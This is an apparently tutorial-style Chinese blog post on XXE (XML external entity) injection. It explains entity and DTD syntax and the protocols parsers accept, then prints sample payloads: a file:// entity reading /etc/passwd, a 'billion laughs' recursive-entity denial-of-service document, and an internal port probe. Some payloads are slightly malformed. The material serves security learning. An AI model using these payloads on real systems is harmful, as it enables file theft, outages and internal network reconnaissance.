• xxe(xml外部实体注入)


    XXE(xml外部实体注入漏洞)

    xml实体分为4种,分别是内部实体、参数实体、预定义实体和外部实体

    内部实体:

    在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

    预定义实体:
    实体 描述
    &quot; 双引号
    &apos; 单引号
    &lt; 小于,即<
    &gt; 大于,即>
    &amp; &

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

    引用外部DTD

    <!DOCTYPE 根元素 SYSTEM "文件名">

    或者

    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。内部声明实体

    <!ENTITY 实体名称 "实体的值">

    参数实体

    参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:

    引用外部实体

    <!ENTITY 实体名称 SYSTEM "URI">其中SYSTEM关键字就是外部实体的标记、外部实体接受本地文件、http、file等协议形式的内容

    libxml2 php java .net
    file
    http
    ftp
    file
    http
    ftp
    php
    compress.zlib
    compress.bzip2
    datag1obphar
    http
    https
    ftp
    file
    jar
    netdoc
    mailto
    gopher *
    file
    http
    https
    ftp

    xxe攻击方式有基于回显、基于报错和blind xxe
    危害:当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    <!-- 任意文件读取 -->
    <? xml version="1.0"encoding="utf-8"?>
    <!DOCTYPE rohit[
    <! ENTITY abc SYSTEM "file:///etc/passwd">
    ]>
    <abc>&abc;</abc>
    
    <!--xml递归调用造成拒绝服务攻击-->
    <?xml version="1.0"?>
    
    <!DOCTYPE lolz [
    
    <!ENTITY lol "lol">
    
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    
    ]>
    
    <lolz>&lol9;</lolz>
    
    <!--探测内网端口-->
    <? xmL version="1.0"?>
    <! DOCTYPE ANY[
    <! ENTITY xxe SYSTEM "http://192.168.1.1:81">
    <x>&xxe;</x>
    
  • 相关阅读:
    这算什么?兴许是公告栏罢
    [考试总结]ZROI-21-NOIP冲刺-TEST1 总结
    [考试总结]ZROI-21-NOIP-CSP7连-DAY6 总结
    [考试总结]ZROI-21-十一集训-赠送赛 总结
    [考试总结]ZROI-21-CSP7连-DAY5 总结
    [考试总结]ZROI-21-CSP7连-DAY4 总结
    [考试总结]ZROI-21-CSP7连-EXTRA1 总结
    [考试总结]ZROI-21-CSP7连-DAY3 总结
    [题解]HDU6606 Distribution of books
    [题解]HDU6315 Naive Operations
  • 原文地址:https://www.cnblogs.com/GH-D/p/11279045.html
Copyright © 2020-2023  润新知